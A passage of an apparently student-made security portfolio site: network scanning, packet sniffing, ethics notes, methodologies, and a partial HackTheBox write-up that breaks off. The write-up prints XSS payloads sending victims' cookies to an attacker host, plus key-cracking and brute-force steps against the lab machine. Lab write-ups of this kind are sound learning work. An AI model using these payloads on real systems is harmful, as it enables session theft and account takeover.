alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a 